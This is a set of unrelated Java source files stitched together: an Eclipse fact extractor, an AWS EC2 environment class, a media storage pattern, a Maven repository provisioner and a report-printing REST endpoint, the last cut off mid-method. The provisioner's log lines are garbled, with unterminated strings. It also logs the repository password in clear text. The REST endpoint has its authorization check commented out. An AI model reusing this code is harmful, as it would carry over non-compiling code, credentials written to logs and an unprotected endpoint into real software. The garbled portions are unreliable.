* Convenience method that returns the superclass of a class that is not in
* the project.
*
* @param pElement
* The element to analyze. Cannot be null.
* @return A set of elements declared. Cannot be null. Emptyset if there is
* any problem converting the element.
*/
private Set<IElement> getExtendsClassForNonProjectElement(IElement pElement) {
assert pElement != null;
final Set<IElement> lReturn = new HashSet<IElement>();
if (pElement.getCategory() == ICategories.CLASS)
try {
final IJavaElement lElement = this
.convertToJavaElement(pElement);
if (lElement instanceof IType) {
final String lSignature = ((IType) lElement)
.getSuperclassTypeSignature();
if (lSignature != null) {
final IElement lSuperclass = FlyweightElementFactory
.getElement(ICategories.CLASS, this.aConverter
.resolveType(lSignature,
(IType) lElement).substring(1,
lSignature.length() - 1),
lElement);
assert lSuperclass instanceof ClassElement;
lReturn.add(lSuperclass);
}
}
}
catch (final ConversionException lException) {
// Nothing, we return the empty set.
}
catch (final JavaModelException lException) {
// Nothing, we return the empty set.
}
return lReturn;
}
/**
* Convenience method that returns the interfaces class that is not in the
* project implements.
*
* @param pElement
* The element to analyze. Cannot be null.
* @param pImplements
* if we want the implements interface relation. False for the
* extends interface relation
* @return A set of elements declared. Cannot be null. Emptyset if there is
* any problem converting the element.
*/
private Set<IElement> getInterfacesForNonProjectElement(IElement pElement,
boolean pImplements) {
assert pElement != null;
final Set<IElement> lReturn = new HashSet<IElement>();
if (pElement.getCategory() == ICategories.CLASS)
try {
final IJavaElement lElement = this
.convertToJavaElement(pElement);
if (lElement instanceof IType)
if (((IType) lElement).isInterface() == !pImplements) {
final String[] lInterfaces = ((IType) lElement)
.getSuperInterfaceTypeSignatures();
if (lInterfaces != null)
for (final String element : lInterfaces) {
final IElement lInterface = FlyweightElementFactory
.getElement(
ICategories.CLASS,
this.aConverter
.resolveType(
element,
(IType) lElement)
.substring(
1,
element
.length() - 1),
lElement);
lReturn.add(lInterface);
}
}
}
catch (final ConversionException lException) {
// Nothing, we return the empty set.
}
catch (final JavaModelException lException) {
// Nothing, we return the empty set.
}
return lReturn;
}
/**
* Returns a non-static, non-constructor method that matches pMethod but
* that is declared in pClass. null if none are found. Small concession to
* correctness here for sake of efficiency: methods are matched only if they
* parameter types match exactly.
*
* @param pMethod
* @param pClass
* @return
*/
private Set<IElement> matchMethod(MethodElement pMethod, IElement pClass) {
final Set<IElement> lReturn = new HashSet<IElement>();
final String lThisName = pMethod.getName();
final Set<IElement> lElements = this.getRange(pClass,
Relation.DECLARES_METHOD);
for (final IElement lMethodElement : lElements)
if (lMethodElement.getCategory() == ICategories.METHOD)
if (!((MethodElement) lMethodElement).getName().startsWith(
"<init>")
&& !((MethodElement) lMethodElement).getName()
.startsWith("<clinit>"))
if (!Modifier.isStatic(this.aDB
.getModifiers(lMethodElement)))
if (lThisName.equals(((MethodElement) lMethodElement)
.getName())) {
pMethod.getParameters().equals(
((MethodElement) lMethodElement)
.getParameters());
lReturn.add(lMethodElement);
break;
}
/*
* for( Iterator i = lElements.iterator(); i.hasNext(); ) { IElement
* lNext = (IElement)i.next(); if( lNext.getCategory() ==
* ICategories.METHOD ) { if(
* !((MethodElement)lNext).getName().startsWith("<init>") &&
* !((MethodElement)lNext).getName().startsWith("<clinit>")) { if(
* !Modifier.isStatic( aDB.getModifiers( lNext ))) { if(
* lThisName.equals( ((MethodElement)lNext).getName() )) {
* pMethod.getParameters().equals(
* ((MethodElement)lNext).getParameters() ); lReturn.add( lNext );
* break; } } } } }
*/
return lReturn;
}
public JayFX() {
this.aAnalyzer = new Analyzer(this.aDB);
}
/* (non-Javadoc)
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
return this.aDB.toString();
}
}
|
package com.rultor.env.ec2;
import com.amazonaws.regions.RegionUtils;
import com.amazonaws.services.ec2.AmazonEC2;
import com.amazonaws.services.ec2.model.CreateTagsRequest;
import com.amazonaws.services.ec2.model.Instance;
import com.amazonaws.services.ec2.model.Placement;
import com.amazonaws.services.ec2.model.RunInstancesRequest;
import com.amazonaws.services.ec2.model.RunInstancesResult;
import com.amazonaws.services.ec2.model.Tag;
import com.jcabi.aspects.Immutable;
import com.jcabi.aspects.Loggable;
import com.jcabi.aspects.RetryOnFailure;
import com.jcabi.aspects.Tv;
import com.rultor.aws.EC2Client;
import com.rultor.env.Environment;
import com.rultor.env.Environments;
import com.rultor.snapshot.Step;
import com.rultor.spi.Wallet;
import com.rultor.spi.Work;
import com.rultor.tools.Time;
import java.io.IOException;
import java.util.List;
import java.util.concurrent.TimeUnit;
import javax.validation.constraints.NotNull;
import lombok.EqualsAndHashCode;
import org.apache.commons.lang3.Validate;
/**
* Amazon EC2 environments.
*
* @author Yegor Bugayenko (yegor@tpc2.com)
* @version $Id$
* @since 1.0
*/
@Immutable
@EqualsAndHashCode(of = { "type", "ami", "group", "client" })
@Loggable(Loggable.DEBUG)
public final class EC2 implements Environments {
/**
* Work we're in.
*/
private final transient Work work;
/**
* Wallet to charge.
*/
private final transient Wallet wallet;
/**
* Type of EC2 instance.
*/
private final transient String type;
/**
* Name of AMI.
*/
private final transient String ami;
/**
* EC2 security group.
*/
private final transient String group;
/**
* EC2 key pair.
*/
private final transient String pair;
/**
* Availability zone to run in.
*/
private final transient String zone;
/**
* EC2 client.
*/
private final transient EC2Client client;
/**
* Public ctor.
* @param wrk Work we're in
* @param wlt Wallet to charge
* @param tpe Instance type, for example "t1.micro"
* @param image AMI name
* @param grp Security group
* @param par Key pair
* @param akey AWS key
* @param scrt AWS secret
* @checkstyle ParameterNumber (5 lines)
*/
public EC2(final Work wrk, final Wallet wlt, final String tpe,
final String image, final String grp, final String par,
final String akey, final String scrt) {
this(
wrk, wlt, tpe, image, grp, par, "us-east-1a",
new EC2Client.Simple(akey, scrt)
);
}
/**
* Public ctor.
* @param wrk Work we're in
* @param wlt Wallet to charge
* @param tpe Instance type, for example "t1.micro"
* @param image AMI name
* @param grp Security group
* @param par Key pair
* @param azone Availability zone
* @param akey AWS key
* @param scrt AWS secret
* @checkstyle ParameterNumber (5 lines)
*/
public EC2(final Work wrk, final Wallet wlt, final String tpe,
final String image, final String grp, final String par,
final String azone, final String akey, final String scrt) {
this(
wrk, wlt, tpe, image, grp, par,
azone, new EC2Client.Simple(akey, scrt)
);
}
/**
* Public ctor.
* @param wrk Work we're in
* @param wlt Wallet to charge
* @param tpe Instance type, for example "t1.micro"
* @param image AMI name
* @param grp Security group
* @param par Key pair
* @param azone Availability zone
* @param clnt EC2 client
* @checkstyle ParameterNumber (10 lines)
*/
public EC2(
@NotNull(message = "work can't be NULL") final Work wrk,
@NotNull(message = "wallet can't be NULL") final Wallet wlt,
@NotNull(message = "instance type can't be NULL") final String tpe,
@NotNull(message = "AMI can't be NULL") final String image,
@NotNull(message = "security group can't be NULL") final String grp,
@NotNull(message = "key pair can't be NULL") final String par,
@NotNull(message = "av.zone can't be NULL") final String azone,
@NotNull(message = "AWS client can't be NULL") final EC2Client clnt) {
Validate.isTrue(
image.matches("ami-[a-f0-9]{8}"),
"AMI name `%s` is in wrong format", image
);
Validate.isTrue(
azone.matches("[a-z]{2}\\-[a-z]+\\-\\d+[a-z]"),
"availability zone `%s` is in wrong format", azone
);
this.work = wrk;
this.wallet = wlt;
this.type = tpe;
this.ami = image;
this.group = grp;
this.pair = par;
this.zone = azone;
this.client = clnt;
}
/**
* {@inheritDoc}
*/
@Override
public String toString() {
return String.format(
// @checkstyle LineLength (1 line)
"EC2 `%s` instances with `%s` in `%s` security group with `%s` key pair accessed with %s",
this.type, this.ami, this.group, this.pair, this.client
);
}
/**
* {@inheritDoc}
*/
@Override
public Environment acquire() throws IOException {
return new EC2Environment(
this.work, this.wallet,
this.create().getInstanceId(),
this.client
);
}
/**
* Create EC2 instance.
* @return Instance created and in stable state
*/
@Step(
before = "creating EC2 instance `${this.type}` from `${this.ami}`",
// @checkstyle LineLength (1 line)
value = "EC2 `${result.instanceType}` instance `${result.instanceId}` created in `${this.zone}`"
)
@com.rultor.snapshot.Tag("ec2")
private Instance create() {
final AmazonEC2 aws = this.client.get();
aws.setRegion(
RegionUtils.getRegion(
this.zone.substring(0, this.zone.length() - 1)
)
);
try {
final RunInstancesResult result = aws.runInstances(
new RunInstancesRequest()
.withInstanceType(this.type)
.withImageId(this.ami)
.withSecurityGroups(this.group)
.withKeyName(this.pair)
.withPlacement(
new Placement().withAvailabilityZone(this.zone)
)
.withMinCount(1)
.withMaxCount(1)
);
final List<Instance> instances =
result.getReservation().getInstances();
if (instances.isEmpty()) {
throw new IllegalStateException(
String.format(
"failed to run an EC2 instance `%s` with AMI `%s`",
this.type,
this.ami
)
);
}
final Instance instance = instances.get(0);
return this.wrap(aws, instance);
} finally {
aws.shutdown();
}
}
/**
* Add tags and do some other wrapping to the running instance.
* @param aws AWS client
* @param instance Instance running (maybe already)
* @return The same instance
*/
@RetryOnFailure(delay = Tv.TWENTY, unit = TimeUnit.SECONDS)
private Instance wrap(final AmazonEC2 aws, final Instance instance) {
aws.createTags(
new CreateTagsRequest()
.withResources(instance.getInstanceId())
.withTags(
new Tag()
.withKey("Name")
.withValue(this.work.rule()),
new Tag()
.withKey("rultor:work:rule")
.withValue(this.work.rule()),
new Tag()
.withKey("rultor:work:owner")
.withValue(this.work.owner().toString()),
new Tag()
.withKey("rultor:work:scheduled")
.withValue(this.work.scheduled().toString()),
new Tag()
.withKey("rultor:instance-created")
.withValue(new Time().toString())
)
);
return instance;
}
}
|
package com.exedio.cope.pattern;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Date;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.exedio.cope.DataField;
import com.exedio.cope.DataLengthViolationException;
import com.exedio.cope.DateField;
import com.exedio.cope.Field;
import com.exedio.cope.FunctionField;
import com.exedio.cope.Item;
import com.exedio.cope.MandatoryViolationException;
import com.exedio.cope.Pattern;
import com.exedio.cope.SetValue;
import com.exedio.cope.StringField;
import com.exedio.cope.Field.Option;
public final class Media extends CachedMedia
{
final boolean optional;
final DataField body;
final ContentType contentType;
final DateField lastModified;
public static final long DEFAULT_LENGTH = DataField.DEFAULT_LENGTH;
private Media(final boolean optional, final ContentType contentType, final long bodyMaximumLength)
{
this.optional = optional;
registerSource(this.body = optional(new DataField(), optional).lengthMax(bodyMaximumLength));
this.contentType = contentType;
for(final StringField source : contentType.getSources())
registerSource(source);
registerSource(this.lastModified = optional(new DateField(), optional));
assert contentType!=null;
}
private static final DataField optional(final DataField field, final boolean optional)
{
return optional ? field.optional() : field;
}
private static final DateField optional(final DateField field, final boolean optional)
{
return optional ? field.optional() : field;
}
/**
* @deprecated use {@link #contentType(String)} instead.
*/
@Deprecated
public Media(final String fixedMimeMajor, final String fixedMimeMinor)
{
this(false, new FixedContentType(fixedMimeMajor, fixedMimeMinor), DEFAULT_LENGTH);
}
/**
* @deprecated use {@link #optional()} and {@link #contentType(String)} instead.
*/
@Deprecated
public Media(final Option option, final String fixedMimeMajor, final String fixedMimeMinor)
{
this(option.optional, new FixedContentType(fixedMimeMajor, fixedMimeMinor), DEFAULT_LENGTH);
if(option.unique)
throw new RuntimeException("Media cannot be unique");
}
public Media(final String fixedMimeMajor)
{
this(false, new HalfFixedContentType(fixedMimeMajor, false), DEFAULT_LENGTH);
}
/**
* @deprecated use {@link #optional()} instead.
*/
@Deprecated
public Media(final Option option, final String fixedMimeMajor)
{
this(option.optional, new HalfFixedContentType(fixedMimeMajor, option.optional), DEFAULT_LENGTH);
if(option.unique)
throw new RuntimeException("Media cannot be unique");
}
public Media()
{
this(false, new StoredContentType(false), DEFAULT_LENGTH);
}
/**
* @deprecated use {@link #optional()} instead.
*/
@Deprecated
public Media(final Option option)
{
this(option.optional, new StoredContentType(option.optional), DEFAULT_LENGTH);
if(option.unique)
throw new RuntimeException("Media cannot be unique");
}
public Media optional()
{
return new Media(true, contentType.optional(), body.getMaximumLength());
}
public Media lengthMax(final long maximumLength)
{
return new Media(optional, contentType.copy(), maximumLength);
}
/**
* Creates a new media, that must contain the given content type only.
*/
public Media contentType(final String contentType)
{
return new Media(optional, new FixedContentType(contentType), body.getMaximumLength());
}
public boolean checkContentType(final String contentType)
{
return this.contentType.check(contentType);
}
public String getContentTypeDescription()
{
return contentType.describe();
}
public long getMaximumLength()
{
return body.getMaximumLength();
}
public DataField getBody()
{
return body;
}
public StringField getMimeMajor()
{
return contentType.getMimeMajor();
}
public StringField getMimeMinor()
{
return contentType.getMimeMinor();
}
public DateField getLastModified()
{
return lastModified;
}
public FunctionField getIsNull()
{
return lastModified;
}
@Override
public void initialize()
{
super.initialize();
final String name = getName();
if(!body.isInitialized())
initialize(body, name+"Body");
contentType.initialize(this, name);
initialize(lastModified, name+"LastModified");
}
public boolean isNull(final Item item)
{
return optional ? (lastModified.get(item)==null) : false;
}
/**
* Returns the major mime type for the given content type.
* Returns null, if content type is null.
*/
public final static String toMajor(final String contentType) throws IllegalContentTypeException
{
return toMajorMinor(contentType, true);
}
/**
* Returns the minor mime type for the given content type.
* Returns null, if content type is null.
*/
public final static String toMinor(final String contentType) throws IllegalContentTypeException
{
return toMajorMinor(contentType, false);
}
private final static String toMajorMinor(final String contentType, final boolean major) throws IllegalContentTypeException
{
if(contentType!=null)
{
final int pos = contentType.indexOf('/');
if(pos<0)
throw new RuntimeException(contentType);
return
major
? contentType.substring(0, pos)
: contentType.substring(contentType.indexOf('/')+1);
}
else
return null;
}
/**
* Returns the content type of this media.
* Returns null, if this media is null.
*/
@Override
public String getContentType(final Item item)
{
if(isNull(item))
return null;
return contentType.getContentType(item);
}
/**
* Returns the date of the last modification
* of this media.
* Returns -1, if this media is null.
*/
@Override
public long getLastModified(final Item item)
{
if(isNull(item))
return -1;
return lastModified.get(item).getTime();
}
/**
* Returns the length of the body of this media.
* Returns -1, if this media is null.
*/
public long getLength(final Item item)
{
if(isNull(item))
return -1;
final long result = body.getLength(item);
assert result>=0 : item.getCopeID();
return result;
}
/**
* Returns the body of this media.
* Returns null, if this media is null.
*/
public byte[] getBody(final Item item)
{
return this.body.get(item);
}
/**
* Sets the contents of this media.
* @param body give null to make this media null.
* @throws MandatoryViolationException
* if body is null and field is {@link Field#isMandatory() mandatory}.
* @throws DataLengthViolationException
* if body is longer than {@link #getMaximumLength()}
*/
public void set(final Item item, final byte[] body, final String contentType)
throws DataLengthViolationException
{
try
{
set(item, (Object)body, contentType);
}
catch(IOException e)
{
throw new RuntimeException(e);
}
}
/**
* Writes the body of this media into the given steam.
* Does nothing, if this media is null.
* @throws NullPointerException
* if <tt>body</tt> is null.
* @throws IOException if writing <tt>body</tt> throws an IOException.
*/
public void getBody(final Item item, final OutputStream body) throws IOException
{
this.body.get(item, body);
}
/**
* Sets the contents of this media.
* Closes <tt>body</tt> after reading the contents of the stream.
* @param body give null to make this media null.
* @throws MandatoryViolationException
* if <tt>body</tt> is null and field is {@link Field#isMandatory() mandatory}.
* @throws DataLengthViolationException
* if <tt>body</tt> is longer than {@link #getMaximumLength()}
* @throws IOException if reading <tt>body</tt> throws an IOException.
*/
public void set(final Item item, final InputStream body, final String contentType)
throws DataLengthViolationException, IOException
{
try
{
set(item, (Object)body, contentType);
}
finally
{
if(body!=null)
body.close();
}
}
/**
* Writes the body of this media into the given file.
* Does nothing, if this media is null.
* @throws NullPointerException
* if <tt>body</tt> is null.
* @throws IOException if writing <tt>body</tt> throws an IOException.
*/
public void getBody(final Item item, final File body) throws IOException
{
this.body.get(item, body);
}
/**
* Sets the contents of this media.
* @param body give null to make this media null.
* @throws MandatoryViolationException
* if <tt>body</tt> is null and field is {@link Field#isMandatory() mandatory}.
* @throws DataLengthViolationException
* if <tt>body</tt> is longer than {@link #getMaximumLength()}
* @throws IOException if reading <tt>body</tt> throws an IOException.
*/
public void set(final Item item, final File body, final String contentType)
throws DataLengthViolationException, IOException
{
set(item, (Object)body, contentType);
}
private void set(final Item item, final Object body, final String contentType)
throws DataLengthViolationException, IOException
{
if(!this.contentType.check(contentType))
throw new IllegalContentTypeException(this, item, contentType);
if(body!=null)
{
if(contentType==null)
throw new RuntimeException("if body is not null, content type must also be not null");
final long length;
if(body instanceof byte[])
length = ((byte[])body).length;
else if(body instanceof InputStream)
length = -1;
else
length = ((File)body).length();
if(length>this.body.getMaximumLength())
throw new DataLengthViolationException(this.body, item, length, true);
}
else
{
if(contentType!=null)
throw new RuntimeException("if body is null, content type must also be null");
}
final ArrayList<SetValue> values = new ArrayList<SetValue>(4);
this.contentType.map(values, contentType);
values.add(this.lastModified.map(body!=null ? new Date() : null));
if(body instanceof byte[])
values.add(this.body.map((byte[])body));
try
{
item.set(values.toArray(new SetValue[values.size()]));
}
catch(CustomAttributeException e)
{
// cannot happen, since FunctionField only are allowed for source
throw new RuntimeException(e);
}
// TODO set InputStream/File via Item.set(SetValue[]) as well
if(body instanceof byte[])
/* already set above */;
else if(body instanceof InputStream)
this.body.set(item, (InputStream)body);
else
this.body.set(item, (File)body);
}
public final static Media get(final DataField field)
{
for(final Pattern pattern : field.getPatterns())
{
if(pattern instanceof Media)
{
final Media media = (Media)pattern;
if(media.getBody()==field)
return media;
}
}
throw new NullPointerException(field.toString());
}
@Override
public Media.Log doGetIfModified(
final HttpServletRequest request, final HttpServletResponse response,
final Item item, final String extension)
throws ServletException, IOException
{
final String contentType = getContentType(item);
//System.out.println("contentType="+contentType);
if(contentType==null)
return isNull;
response.setContentType(contentType);
final int contentLength = (int)getLength(item);
//System.out.println("contentLength="+String.valueOf(contentLength));
response.setContentLength(contentLength);
//response.setHeader("Cache-Control", "public");
//System.out.println(request.getMethod()+' '+request.getProtocol()+" IMS="+format(ifModifiedSince)+" LM="+format(lastModified)+" modified: "+contentLength);
ServletOutputStream out = null;
try
{
out = response.getOutputStream();
getBody(item, out);
return delivered;
}
finally
{
if(out!=null)
out.close();
}
}
static abstract class ContentType
{
abstract StringField[] getSources();
abstract ContentType copy();
abstract ContentType optional();
abstract boolean check(String contentType);
abstract String describe();
abstract StringField getMimeMajor();
abstract StringField getMimeMinor();
abstract void initialize(Media media, String name);
abstract String getContentType(Item item);
abstract void map(ArrayList<SetValue> values, String contentType);
protected static final StringField makeField(final boolean optional)
{
final StringField f = new StringField().lengthRange(1, 30);
return optional ? f.optional() : f;
}
}
static final class FixedContentType extends ContentType
{
private final String full;
FixedContentType(final String full)
{
this.full = full;
}
/**
* @deprecated is used from deprecated code only
*/
@Deprecated
FixedContentType(final String major, final String minor)
{
this(major + '/' + minor);
if(major==null)
throw new NullPointerException("fixedMimeMajor must not be null");
if(minor==null)
throw new NullPointerException("fixedMimeMinor must not be null");
}
@Override
StringField[] getSources()
{
return new StringField[]{};
}
@Override
FixedContentType copy()
{
return new FixedContentType(full);
}
@Override
FixedContentType optional()
{
return copy();
}
@Override
boolean check(final String contentType)
{
return contentType==null || this.full.equals(contentType);
}
@Override
String describe()
{
return full;
}
@Override
StringField getMimeMajor()
{
return null;
}
@Override
StringField getMimeMinor()
{
return null;
}
@Override
void initialize(final Media media, final String name)
{
// no fields to be initialized
}
@Override
String getContentType(final Item item)
{
return full;
}
@Override
void map(final ArrayList<SetValue> values, final String contentType)
{
// no fields to be mapped
}
}
static final class HalfFixedContentType extends ContentType
{
private final String major;
private final String prefix;
private final StringField minor;
HalfFixedContentType(final String major, final boolean optional)
{
this.major = major;
this.prefix = major + '/';
this.minor = makeField(optional);
if(major==null)
throw new NullPointerException("fixedMimeMajor must not be null");
}
@Override
StringField[] getSources()
{
return new StringField[]{minor};
}
@Override
HalfFixedContentType copy()
{
return new HalfFixedContentType(major, !minor.isMandatory());
}
@Override
HalfFixedContentType optional()
{
return new HalfFixedContentType(major, true);
}
@Override
boolean check(final String contentType)
{
return contentType==null || contentType.startsWith(prefix);
}
@Override
String describe()
{
return prefix + '*';
}
@Override
StringField getMimeMajor()
{
return null;
}
@Override
StringField getMimeMinor()
{
return minor;
}
@Override
void initialize(final Media media, final String name)
{
if(!minor.isInitialized())
media.initialize(minor, name+"Minor");
}
@Override
String getContentType(final Item item)
{
return prefix + minor.get(item);
}
@Override
void map(final ArrayList<SetValue> values, final String contentType)
{
values.add(this.minor.map(toMinor(contentType)));
}
}
static final class StoredContentType extends ContentType
{
private final StringField major;
private final StringField minor;
StoredContentType(final boolean optional)
{
this.major = makeField(optional);
this.minor = makeField(optional);
}
@Override
StoredContentType copy()
{
return new StoredContentType(!major.isMandatory());
}
@Override
StoredContentType optional()
{
return new StoredContentType(true);
}
@Override
StringField[] getSources()
{
return new StringField[]{major, minor};
}
@Override
boolean check(final String contentType)
{
return contentType==null || contentType.indexOf('/')>=0;
}
@Override
String describe()
{
return "*/*";
}
@Override
StringField getMimeMajor()
{
return major;
}
@Override
StringField getMimeMinor()
{
return minor;
}
@Override
void initialize(final Media media, final String name)
{
if(!major.isInitialized())
media.initialize(major, name+"Major");
if(!minor.isInitialized())
media.initialize(minor, name+"Minor");
}
@Override
String getContentType(final Item item)
{
return major.get(item) + '/' + minor.get(item);
}
@Override
void map(final ArrayList<SetValue> values, final String contentType)
{
values.add(this.major.map(toMajor(contentType)));
values.add(this.minor.map(toMinor(contentType)));
}
}
}
|
package com.simpligility.maven.provisioner;
import java.io.File;
import java.io.IOException;
import org.apache.commons.io.FileUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.beust.jcommander.JCommander;
/**
* MavenRepositoryProvisioner
*
* @author Manfred Moser <manfred@simpligility.com>
*/
public class MavenRepositoryProvisioner
{
private static Configuration config;
private static Logger logger = LoggerFactory.getLogger( "MavenRepositoryProvisioner" );
static File cacheDirectory;
public static void main( String[] args )
{
JCommander jcommander = null;
Boolean validConfig = false;
logger.info( "
logger.info( " Maven Repository Provisioner " );
logger.info( " simpligility technologies inc. " );
logger.info( " http:
logger.info( "
StringBuilder usage = new StringBuilder();
config = new Configuration();
try
{
jcommander = new JCommander( config );
jcommander.usage( usage );
jcommander.parse( args );
validConfig = true;
}
catch ( Exception error )
{
logger.info( usage.toString() );
}
if ( validConfig )
{
if ( config.getHelp() )
{
logger.info( usage.toString() );
}
else
{
logger.info( "Provisioning: " + config.getArtifactCoordinate() );
logger.info( "Source: " + config.getSourceUrl() );
logger.info( "Target: " + config.getTargetUrl() );
logger.info( "Username: " + config.getUsername() );
logger.info( "Password: " + config.getPassword() );
logger.info( "IncludeSources:" + config.getIncludeSources() );
logger.info( "IncludeJavadoc:" + config.getIncludeJavadoc() );
logger.info( "Local cache directory: " + config.getCacheDirectory() );
cacheDirectory = new File( config.getCacheDirectory() );
if ( cacheDirectory.exists() && cacheDirectory.isDirectory() )
{
logger.info( "Detected local cache directory '" + config.getCacheDirectory()
+ "' from prior execution." );
try
{
FileUtils.deleteDirectory( cacheDirectory );
logger.info( config.getCacheDirectory() + " deleted." );
}
catch ( IOException e )
{
logger.info( config.getCacheDirectory() + " deletion failed" );
}
cacheDirectory = new File( config.getCacheDirectory() );
}
ArtifactRetriever retriever = new ArtifactRetriever( cacheDirectory );
retriever.retrieve( config.getArtifactCoordinates(), config.getSourceUrl(), config.getIncludeSources(),
config.getIncludeJavadoc() );
logger.info( "
logger.info( "Artifact retrieval completed." );
logger.info( "
MavenRepositoryHelper helper = new MavenRepositoryHelper( cacheDirectory );
helper.deployToRemote( config.getTargetUrl(), config.getUsername(), config.getPassword() );
logger.info( "
logger.info( "Artifact deployment completed." );
logger.info( "
}
}
}
}
|
package backend.api.rest.application.v21.impl;
import java.io.File;
import javax.servlet.http.HttpServletResponse;
import javax.ws.rs.core.Context;
import javax.ws.rs.core.HttpHeaders;
import javax.ws.rs.core.Response;
import javax.ws.rs.core.Response.ResponseBuilder;
import org.opencps.auth.api.BackendAuth;
import org.opencps.auth.api.BackendAuthImpl;
import org.opencps.dossiermgt.model.DocumentType;
import org.opencps.dossiermgt.service.DocumentTypeLocalServiceUtil;
import com.liferay.portal.kernel.json.JSONArray;
import com.liferay.portal.kernel.json.JSONException;
import com.liferay.portal.kernel.json.JSONFactoryUtil;
import com.liferay.portal.kernel.json.JSONObject;
import com.liferay.portal.kernel.log.Log;
import com.liferay.portal.kernel.log.LogFactoryUtil;
import com.liferay.portal.kernel.messaging.Message;
import com.liferay.portal.kernel.messaging.MessageBusException;
import com.liferay.portal.kernel.messaging.MessageBusUtil;
import com.liferay.portal.kernel.model.Company;
import com.liferay.portal.kernel.model.User;
import com.liferay.portal.kernel.search.Field;
import com.liferay.portal.kernel.service.ServiceContext;
import com.liferay.portal.kernel.util.GetterUtil;
import com.liferay.portal.kernel.util.StringPool;
import com.liferay.portal.kernel.util.Validator;
import io.swagger.api.StatisticReportApi;
public class StatisticReportApiImpl implements StatisticReportApi {
@Context
private User user;
@Context
private Company company;
@Context
private HttpHeaders header;
@Context
HttpServletResponse response;
ServiceContext serviceContext = new ServiceContext();
private static Log _log = LogFactoryUtil.getLog(StatisticReportApiImpl.class);
@Override
public Object statisticReportPrint(String code, String body) {
File file = null;
BackendAuth auth = new BackendAuthImpl();
long userId = user.getUserId();
long groupId = GetterUtil.getLong(header.getHeaderString(Field.GROUP_ID));
serviceContext.setUserId(userId);
// if (auth.isAuth(serviceContext)) {
// return Response.status(HttpServletResponse.SC_FORBIDDEN).build();
DocumentType docType = DocumentTypeLocalServiceUtil.getByTypeCode(groupId, code);
String documentScript = StringPool.BLANK;
if (docType != null) {
documentScript = docType.getDocumentScript();
Message message = new Message();
message.put("formReport", documentScript);
JSONObject resultObject = doGetFormData(code, body);
// System.out.println("StatisticReportApiImpl.statisticReportPrint()" + resultObject);
// System.out.println("StatisticReportApiImpl.statisticReportPrint()" + resultObject.toJSONString());
message.put("formData", resultObject);
try {
String previewResponse = (String) MessageBusUtil
.sendSynchronousMessage("jasper/engine/preview/destination", message, 10000);
if (Validator.isNotNull(previewResponse)) {
file = new File(previewResponse);
ResponseBuilder responseBuilder = Response.ok((Object) file);
responseBuilder.header("Content-Disposition",
"attachment; filename=\"" + docType.getDocumentName()+ ".pdf\"");
responseBuilder.header("Content-Type", "application/pdf");
return responseBuilder.build();
}
} catch (MessageBusException e) {
return Response.status(HttpServletResponse.SC_CONFLICT).build();
}
}
return Response.status(HttpServletResponse.SC_NOT_FOUND).build();
}
private JSONObject doGetFormData(String code, String body) {
JSONObject result = JSONFactoryUtil.createJSONObject();
switch(code)
{
case "REPORT_01":
result = getFormDataReport01(body);
break;
case "REPORT_02":
result = getFormDataReport02(body);
break;
case "REPORT_03":
result = getFormDataReport03(body);
break;
case "REPORT_04":
result = getFormDataReport04(body);
break;
case "REPORT_05":
result = getFormDataReport05(body);
break;
case "REPORT_06":
result = getFormDataReport06(body);
break;
case "REPORT_07":
result = getFormDataReport07(body);
break;
case "REPORT_08":
result = getFormDataReport08(body);
break;
case "REPORT_09":
result = getFormDataReport09(body);
break;
case "REPORT_10":
result = getFormDataReport10(body);
break;
default:
result = JSONFactoryUtil.createJSONObject();
}
return result;
}
private JSONObject getFormDataReport10(String body) {
JSONObject result = JSONFactoryUtil.createJSONObject();
try {
JSONObject resultBody = JSONFactoryUtil.createJSONObject(body);
result.put("year", resultBody.getInt("year"));
result.put("month", resultBody.getInt("month"));
result.put("govAgencyName", resultBody.getString("govAgencyName"));
result.put("fromDate", resultBody.getString("fromDate"));
result.put("toDate", resultBody.getString("toDate"));
result.put("actionUser", "");
JSONArray dossierData = resultBody.getJSONArray("data");
JSONObject currentObject = null;
JSONObject domainRaw = JSONFactoryUtil.createJSONObject();
JSONArray domainsservicesRaw = JSONFactoryUtil.createJSONArray();
for (int i = 0; i < dossierData.length(); i++) {
currentObject = dossierData.getJSONObject(i);
if (!domainRaw.has(currentObject.getString("domainName"))) {
domainsservicesRaw = JSONFactoryUtil.createJSONArray();
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
} else {
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
}
}
JSONArray domains = JSONFactoryUtil.createJSONArray();
JSONArray keys = domainRaw.names();
for (int i = 0; i < keys.length (); ++i) {
String key = keys.getString (i);
JSONArray value = domainRaw.getJSONArray(key);
if (Validator.isNotNull(key)) {
for (int y = 0; y < value.length(); y++) {
JSONObject currentService = value.getJSONObject(y);
JSONArray dossierDataJasper = JSONFactoryUtil.createJSONArray();
for (int k = 0; k < dossierData.length(); k++) {
JSONObject currentObjectDossier = dossierData.getJSONObject(k);
if (currentObjectDossier.getString("serviceCode").equalsIgnoreCase(currentService.getString("serviceCode"))) {
dossierDataJasper.put(currentObjectDossier);
}
}
currentService.put("dossiers", dossierDataJasper);
}
JSONObject domainRawItem = JSONFactoryUtil.createJSONObject();
domainRawItem.put("domainName", key);
domainRawItem.put("services", value);
domains.put(domainRawItem);
}
}
result.put("domains", domains);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return result;
}
private JSONObject getFormDataReport09(String body) {
JSONObject result = JSONFactoryUtil.createJSONObject();
try {
JSONObject resultBody = JSONFactoryUtil.createJSONObject(body);
result.put("year", resultBody.getInt("year"));
result.put("month", resultBody.getInt("month"));
result.put("govAgencyName", resultBody.getString("govAgencyName"));
result.put("fromDate", resultBody.getString("fromDate"));
result.put("toDate", resultBody.getString("toDate"));
result.put("actionUser", "");
JSONArray dossierData = resultBody.getJSONArray("data");
JSONObject currentObject = null;
